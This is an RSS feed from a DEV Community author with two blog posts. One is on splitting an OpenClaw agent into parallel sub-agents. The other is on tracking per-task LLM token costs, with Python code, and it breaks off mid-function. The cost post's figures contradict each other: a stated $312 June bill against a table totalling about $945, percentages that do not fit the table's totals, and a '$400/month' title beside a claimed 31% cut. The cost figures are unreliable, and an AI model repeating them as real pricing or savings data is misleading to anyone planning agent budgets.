<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: MrClaw207 </title>
    <description>The latest articles on DEV Community by MrClaw207  (@mrclaw207).</description>
    <link>https://dev.to/mrclaw207</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3866467%2F39075719-b281-4330-a9cb-25741590c963.jpg</url>
      <title>DEV Community: MrClaw207 </title>
      <link>https://dev.to/mrclaw207</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mrclaw207"/>
    <language>en</language>
    <item>
      <title>My OpenClaw Agent Got Slow and Expensive. I Split It Into Three Sub-Agents — Here's What Happened</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Fri, 17 Jul 2026 18:04:03 +0000</pubDate>
      <link>https://dev.to/mrclaw207/my-openclaw-agent-got-slow-and-expensive-i-split-it-into-three-sub-agents-heres-what-happened-51l1</link>
      <guid>https://dev.to/mrclaw207/my-openclaw-agent-got-slow-and-expensive-i-split-it-into-three-sub-agents-heres-what-happened-51l1</guid>
      <description>&lt;p&gt;Last Tuesday my agent took 14 minutes to do something it used to do in 3. The transcript was a wall of repeated context. It was re-reading the same 40,000 tokens on every turn because I'd been piling tasks into one session for months.&lt;/p&gt;

&lt;p&gt;The fix was embarrassingly simple: stop trying to run everything through one agent.&lt;/p&gt;

&lt;p&gt;I split the workload across three sub-agents running in parallel. Response time dropped to under 90 seconds. Token use per task fell by roughly 60%. And the main agent stopped hallucinating explanations for things that happened three hours ago in the same session.&lt;/p&gt;

&lt;p&gt;Here's exactly what I changed and why it works.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem: Context Accumulation Kills Agent Performance
&lt;/h2&gt;

&lt;p&gt;Every OpenClaw session has a context window. As the session grows with history, the model has to process more tokens on every single turn. This has three compounding effects:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Latency climbs&lt;/strong&gt; — more tokens means longer inference&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cost per task rises&lt;/strong&gt; — you're paying to re-read everything every turn&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reliability drops&lt;/strong&gt; — models get distracted by their own history and start mixing up what happened when&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I noticed it first on a research task. The agent was supposed to gather data on five competitors, summarize each, and write a comparison brief. What I got was a 20-minute run that somehow missed two competitors entirely and doubled back on a third. The transcript showed it getting confused about which research was already done.&lt;/p&gt;

&lt;p&gt;This isn't a model intelligence problem. It's an architecture problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix: Isolate and Delegate with Sub-Agents
&lt;/h2&gt;

&lt;p&gt;OpenClaw lets you spawn clean child sessions — sub-agents — that run independently, each with fresh context. The main agent delegates a specific task, the sub-agent handles it in isolation, and then returns only the result.&lt;/p&gt;

&lt;p&gt;This is not the same as a tool call. A tool call runs in the same session. A sub-agent runs in its own session with its own context window, its own model selection, and its own tools. When it finishes, it hands back a result. The main session only sees the answer — not the 80 intermediate steps to get there.&lt;/p&gt;

&lt;p&gt;The pattern looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Spawn a research sub-agent for one competitor&lt;/span&gt;
&lt;span class="nf"&gt;sessions_spawn&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;task&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Research &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;company_name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;. Return a 200-word summary covering:
    - What they do
    - Their pricing model
    - Key differentiators
    Use web search to find current information.`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;taskName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`research-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;company_name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;+/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;subagent&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;run&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;delete&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each &lt;code&gt;sessions_spawn&lt;/code&gt; call fires in parallel. While all five competitor-research sub-agents are running, the main agent is free — not blocked, not burning tokens on context bloat. When they return, the main agent gets five clean summaries and writes the comparison brief.&lt;/p&gt;

&lt;p&gt;No repeated context. No confusion about what's done.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Actually Run This Way
&lt;/h2&gt;

&lt;p&gt;After a week of splitting tasks across sub-agents, here's my current breakdown:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task&lt;/th&gt;
&lt;th&gt;Agent Type&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Inbox triage, daily digest&lt;/td&gt;
&lt;td&gt;Main agent&lt;/td&gt;
&lt;td&gt;Needs full conversation history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Competitor research (per company)&lt;/td&gt;
&lt;td&gt;Sub-agent&lt;/td&gt;
&lt;td&gt;Isolated, parallel, no history needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Code review / PR analysis&lt;/td&gt;
&lt;td&gt;Sub-agent&lt;/td&gt;
&lt;td&gt;Fresh context per repo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Long-form content drafts&lt;/td&gt;
&lt;td&gt;Sub-agent&lt;/td&gt;
&lt;td&gt;Isolation prevents tone drift&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Real-time monitoring / alerts&lt;/td&gt;
&lt;td&gt;Main agent&lt;/td&gt;
&lt;td&gt;Needs immediate context&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The rule I landed on: if a task requires looking at more than 10 files, or will take more than 5 tool calls to complete, it goes to a sub-agent. Everything else stays in the main session.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Results After One Week
&lt;/h2&gt;

&lt;p&gt;The numbers from my OpenClaw dashboard:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Average task latency:&lt;/strong&gt; down from 11.3 minutes to 2.1 minutes (parallelism + isolation)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Token use per research task:&lt;/strong&gt; down ~58% — no more re-reading 40k-token histories&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error rate on multi-step tasks:&lt;/strong&gt; dropped from 23% to 4%&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sub-agents spawned per day:&lt;/strong&gt; averaging 14 across all task types&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The error rate drop surprised me most. When each sub-agent has fresh context, it doesn't inherit the main session's accumulated confusion. A sub-agent researching Company X doesn't know that the previous three research calls were for Companies A, B, and C. It's focused.&lt;/p&gt;

&lt;h2&gt;
  
  
  One Gotcha to Watch
&lt;/h2&gt;

&lt;p&gt;Sub-agents don't share memory with the main session. If you need a sub-agent to know something, you have to pass it explicitly in the task prompt. I learned this the hard way when a code review sub-agent had no context for what the project actually was, and spent the first three tool calls trying to figure out the repo structure.&lt;/p&gt;

&lt;p&gt;The fix is simple: include a brief context block at the start of every sub-agent task.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Context: You are reviewing PR #&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;pr_number&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; for the &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; project.
  The main branch is 'main'. This PR changes the auth module.
  [additional relevant context]

  Your task: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;review_task&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;

  Return your findings in this format:
  - Issues found
  - Suggestions
  - Approval recommendation`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What This Changes About How You Design Agent Workflows
&lt;/h2&gt;

&lt;p&gt;The traditional approach is: one agent, many tools, long sessions. That works until it doesn't.&lt;/p&gt;

&lt;p&gt;Sub-agent delegation changes the design question. Instead of "how do I give this agent more capabilities?" the question becomes "what are the independent workstreams, and how do I hand each one to the right context?"&lt;/p&gt;

&lt;p&gt;It's closer to how a good engineering team operates: specialists with clear scopes, handing off outputs to a coordinator. The main agent is the coordinator. Sub-agents are the specialists.&lt;/p&gt;

&lt;p&gt;If your main agent is slowing down, getting expensive, or making errors because of context confusion, the answer isn't a better model — it's probably better architecture. Start by isolating one task type and running it as a sub-agent. You'll see the difference in the first run.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm running 14 sub-agents a day across various task types. If you're doing something similar — or differently — I'd like to hear what architecture choices have worked for you.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>openclaw</category>
      <category>ai</category>
      <category>agents</category>
      <category>productivity</category>
    </item>
    <item>
      <title>I Tracked Every Token My LLM Agent Spent for 30 Days. Here's the Cost Pattern That Saved Me $400/Month.</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Fri, 17 Jul 2026 13:04:32 +0000</pubDate>
      <link>https://dev.to/mrclaw207/i-tracked-every-token-my-llm-agent-spent-for-30-days-heres-the-cost-pattern-that-saved-me-3egm</link>
      <guid>https://dev.to/mrclaw207/i-tracked-every-token-my-llm-agent-spent-for-30-days-heres-the-cost-pattern-that-saved-me-3egm</guid>
      <description>&lt;p&gt;Three hundred and twelve dollars. That's what my research agent burned through in June before I started paying attention to where the money actually went.&lt;/p&gt;

&lt;p&gt;Not because the agent was doing anything wrong. It was doing exactly what I asked — searching SEC filings, summarizing findings, drafting reports. The problem was I had no idea what each task was costing until I got the bill. And once I looked, the waste was obvious.&lt;/p&gt;

&lt;p&gt;This is the story of how I instrumented my agent to track token usage per task, what the 30-day pattern revealed, and the three changes that cut my monthly bill by 31% without touching output quality.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Baseline: What I Was Actually Paying For
&lt;/h2&gt;

&lt;p&gt;I run a lightweight agent stack: OpenRouter for model routing, a PostgreSQL table for task logging, and a cron job that runs every morning. Before June, I was just watching the total cost tick up in the OpenRouter dashboard with no per-task granularity.&lt;/p&gt;

&lt;p&gt;The first thing I did was add a thin logging layer to every agent invocation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tiktoken&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;estimate_cost&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# OpenRouter pricing (simplified, per 1M tokens)
&lt;/span&gt;    &lt;span class="n"&gt;RATES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;claude-3-5-sonnet&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4o&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gemini-1.5-flash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.05&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;deepseek-chat&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.28&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;input_rate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_rate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RATES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_tokens&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1_000_000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;input_rate&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; \
           &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output_tokens&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1_000_000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;output_rate&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_task&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;task_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
             &lt;span class="n"&gt;output_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;duration_ms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cost&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;estimate_cost&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input_tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_tokens&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        INSERT INTO agent_task_log 
        (model, task_type, input_tokens, output_tokens, 
         cost_usd, duration_ms, success, created_at)
        VALUES (%s, %s, %s, %s, %s, %s, %s, NOW())
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;task_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input_tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
          &lt;span class="n"&gt;cost&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;duration_ms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After two weeks of logging, the pattern was embarrassingly clear.&lt;/p&gt;

&lt;h2&gt;
  
  
  What 30 Days of Data Actually Showed
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task Type&lt;/th&gt;
&lt;th&gt;Avg Cost&lt;/th&gt;
&lt;th&gt;Frequency&lt;/th&gt;
&lt;th&gt;Total Cost&lt;/th&gt;
&lt;th&gt;% of Bill&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SEC filing search&lt;/td&gt;
&lt;td&gt;$0.84&lt;/td&gt;
&lt;td&gt;20/day&lt;/td&gt;
&lt;td&gt;$504&lt;/td&gt;
&lt;td&gt;41%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Report drafting&lt;/td&gt;
&lt;td&gt;$0.31&lt;/td&gt;
&lt;td&gt;15/day&lt;/td&gt;
&lt;td&gt;$139&lt;/td&gt;
&lt;td&gt;28%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Research synthesis&lt;/td&gt;
&lt;td&gt;$1.12&lt;/td&gt;
&lt;td&gt;5/day&lt;/td&gt;
&lt;td&gt;$168&lt;/td&gt;
&lt;td&gt;17%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Quality checks&lt;/td&gt;
&lt;td&gt;$0.09&lt;/td&gt;
&lt;td&gt;30/day&lt;/td&gt;
&lt;td&gt;$81&lt;/td&gt;
&lt;td&gt;9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miscellaneous&lt;/td&gt;
&lt;td&gt;$0.22&lt;/td&gt;
&lt;td&gt;8/day&lt;/td&gt;
&lt;td&gt;$53&lt;/td&gt;
&lt;td&gt;5%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Three things jumped out immediately:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. SEC filing search was my biggest cost center by far.&lt;/strong&gt;&lt;br&gt;
It wasn't the model — I was using &lt;code&gt;deepseek-chat&lt;/code&gt; ($0.14/1M in) for that task. The problem was prompt length. Each search query was stuffing 15-20 prior results into the context "so the agent has more information." That was adding 8,000-12,000 tokens per call for context the model rarely used.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Research synthesis was expensive but worth it.&lt;/strong&gt;&lt;br&gt;
At $1.12 per task, this was my costliest task type. But it also had a 94% success rate (defined as "required no human correction"). This was untouchable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Quality checks were my biggest waste.&lt;/strong&gt;&lt;br&gt;
At $0.09 per check and 30 runs per day, this seems cheap. But I was running a full LLM call to verify outputs that had a 97% natural success rate. Most of those checks were confirming things that didn't need confirming.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Three Fixes
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Fix 1: Compress context before injection
&lt;/h3&gt;

&lt;p&gt;Instead of dumping raw search results into the prompt, I added a summarization step:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;compress_search_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;max_results&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Keep only the top N most relevant results, summarized.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;scored&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;relevance_score&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; 
                    &lt;span class="n"&gt;reverse&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="n"&gt;max_results&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;summary_prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Summarize these &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scored&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; SEC filing excerpts concisely, keeping key numbers and dates: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;scored&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="c1"&gt;# Use a cheap model for compression
&lt;/span&gt;    &lt;span class="n"&gt;compressed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;call_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;deepseek-chat&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;summary_prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;compressed&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;search_sec_filings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
